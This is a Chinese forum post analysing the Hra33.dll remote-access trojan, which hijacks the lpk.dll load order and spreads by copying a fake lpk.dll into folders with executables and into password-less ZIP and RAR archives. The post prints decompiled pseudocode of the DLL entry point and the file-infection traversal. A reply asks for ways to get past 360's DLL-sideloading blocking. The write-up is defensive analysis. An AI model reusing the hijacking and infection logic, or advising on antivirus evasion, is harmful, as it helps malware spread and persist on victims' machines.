首页
社区
课程
招聘
HRA33.DLL完整分析 LPK.DLL 的劫持 和感染ZIP RAR 实现细节
发表于: 2017-5-20 20:01 8290

HRA33.DLL完整分析 LPK.DLL 的劫持 和感染ZIP RAR 实现细节

2017-5-20 20:01
8290

    xp win7的时候 lpk.dll 是很常见的,如果非system32目录下有lpk.dll 那么你就需要好好检查下你的电脑了.之前听薛大神讲过关于LPK.DLL USP.DLL 的相关流程 自己分析后更深刻了.

Hra33.dll 就是利用EXE加载dll的先后顺序的机制  如果EXE运行的当前目录下有LPK.DLL 就直接载入 而不会去系统目录找.

属于这个远控的核心DLL 从0分析一款经典的感染型远控木马

其实从Hra33.dll做的事情比较简单

1.释放一个临时文件hraxx.tmp  运行

2.将有exe的目录下释放一个LPK.DLL文件(只是名字叫lpk.dll 而且具有系统lpk.dll的所有功能

3.将没有密码的ZIP RAR  利用CMD命令 插入lpk.dll(同上)

先从DLL入口函数开始看:

if (fdwReason == 1)

{

hModule = hinstDLL;

GetModuleFileNameW(hinstDLL, (LPWSTR)&Filename, 260u);

DisableThreadLibraryCalls(hinstDLL);

if (Get_ServerNameA() == 1)

{

if (!Check_tmp() && !CreateMutexAA())   // 判断自身进程是否为临时文件程序 && 判断是否可以创建互斥体

Create_NewTem();                        // 创建一个新的临时文件并运行 还是之前的EXE  

if (Check_lpk() == 1)                   // 判断是否为lpk.dll

{

hEvent = CreateEventW(0, 1, 0, 0);

if (hEvent)

Create_Thread1();                     // 主要搞事情的函数

}

}                                           // 自身载入真正的lpk.dll 并将导出函数的地址给获取

result = Transpond_lpk_start();

}

else

{

if (!fdwReason)

{

if (hEvent)

{

SetEvent(hEvent);

WaitForSingleObject(hObject, 0xFFFFFFFF);

CloseHandle(hObject);

CloseHandle(hEvent);

}

Freelib();                                // 释放资源

}

result = 1;

}

return result;

 

Create_NewTem() 函数实现细节

Create_Thread1()  实现细节

hObject = CreateThread(0, 0,   (LPTHREAD_START_ROUTINE)Start_Search, 0, 4u,   0);// 以挂起的状态创建线程

if (!SetThreadPriority(hObject, THREAD_PRIORITY_IDLE) ||   (result = ResumeThread(hObject), result ==   -1))// 判断线程是否正常恢复

套了一层.进去看看

OD调试截图



StartAddress()函数实现细节 主要就是遍历文件 符合条件就copylpk.dll 继续遍历

if ((unsigned int)lpThreadParameter     >= 256) // 文件夹递归的时候走这里

{

lstrcpyW(&String1, (LPCWSTR)lpThreadParameter);

}

else

{

lstrcpyW(&String1, L"A:\\");            // 默认走这里

String1 += (unsigned __int16)lpThreadParameter;

}

lstrcpyW(&String2, &String1);

PathAppendW(&String1, &word_10002374);

hFindFile = FindFirstFileW(&String1,     &FindFileData);

if (hFindFile == (HANDLE)-1)

return 1;

lstrcpyW(&String1, &String2);

while (1)

{

if (!lstrcmpiW(FindFileData.cFileName, L".") || !lstrcmpiW(FindFileData.cFileName, L".."))// 文件名为 . |.. 直接下一个

goto LABEL_27;

if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)// 比较00010000是否为1 1就退出循环 判断文件名是否为目录

break;

v2 = PathFindExtensionW(FindFileData.cFileName);// 得到文件后缀 如.exe .txt

lpString2 = v2;

if (v2)


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (6)
雪    币: 6857
活跃值: (4037)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2017-5-20 23:05
0
雪    币: 2575
活跃值: (487)
能力值: ( LV2,RANK:85 )
在线值:
发帖
回帖
粉丝
3
不错的文章,长见识了
2017-5-20 23:24
0
雪    币: 236
活跃值: (67)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
4
谢谢
2017-5-21 14:39
0
雪    币: 3
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
诶  我现在那么360启动项拦截      白加黑也拦截  敢问楼上各位可以什么好的思路  分享分享
2017-5-26 16:37
0
雪    币: 3
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
Qq:*****
2017-5-26 16:38
0
雪    币: 9
活跃值: (175)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
7
谢谢分享
2018-1-1 10:12
0
游客
登录 | 注册 方可回帖
返回
//